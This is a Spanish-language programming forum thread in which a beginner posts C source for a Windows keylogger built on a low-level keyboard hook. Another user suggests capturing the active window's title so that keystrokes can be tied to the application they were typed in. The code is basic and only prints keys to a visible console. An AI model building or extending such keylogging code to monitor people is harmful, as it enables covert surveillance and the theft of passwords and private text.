Ayuda con este Keylogger

Iniciado por tupapa007, 1 Marzo 2013, 22:33 PM

0 Miembros y 1 Visitante están viendo este tema.

tupapa007

Buenas, estoy iniciandome en esto de la programacion y he hecho mi propio keylogger y quisiera que me mostrara el proceso en donde fue escrito.Por ejemplo el keylogger capturo algo en el block de notas entonces quisiera que el keyloger me mostrara lo que capturo y en que proceso y hora.Muchas gracias y espero que me puedan ayudar. ;-)

Este es el codigo:
#include <windows.h>

//GLOBAL VARIABLES
HANDLE myConsoleHandle;
char log[1024] = {0};

//PROTOTYPES
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam);


int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)

{
   //DECLARATIONs
   MSG message;
   HHOOK hookHandle;
   
   //MAKE CONSOLE
   AllocConsole();
   myConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);
   
   //INSTALL HOOK
   hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyHandler, hThisInstance, 0);
   //MESSAGE LOOP
   while(GetMessage(&message, NULL, 0, 0) != 0) {
   TranslateMessage( &message );
   DispatchMessage( &message );
   }
   
   return 0;
}

//CALLBACK FUNCTION
LRESULT CALLBACK keyHandler(int nCode, WPARAM wParam, LPARAM lParam) {
   //DECLARATION
   DWORD cCharsWritten;

   if(nCode == HC_ACTION && wParam == WM_KEYDOWN){
       int keycode = ((KBDLLHOOKSTRUCT *)lParam)->vkCode;
       if(strlen(log) >=100) {
                      int cnt =  strlen(log);
                      for (int i=0; i<=cnt; i++){
                          log[i] = '\x00';
                          }
                          }
       log[strlen(log)] = (char)keycode;
       WriteConsole(myConsoleHandle, log, strlen(log), &cCharsWritten, NULL);
       WriteConsole(myConsoleHandle, "\n", 1, &cCharsWritten, NULL);
   }

   return CallNextHookEx(NULL, nCode, wParam, lParam);
}

naderST

Podrías utilizar GetForegroundWindow para obtener la ventana que está activa y utilizar GetWindowText para obtener su título.

tupapa007

Cita de: naderST en  1 Marzo 2013, 23:28 PM
Podrías utilizar GetForegroundWindow para obtener la ventana que está activa y utilizar GetWindowText para obtener su título.

Muchisimas gracias men me has ayudado muchisimo  :D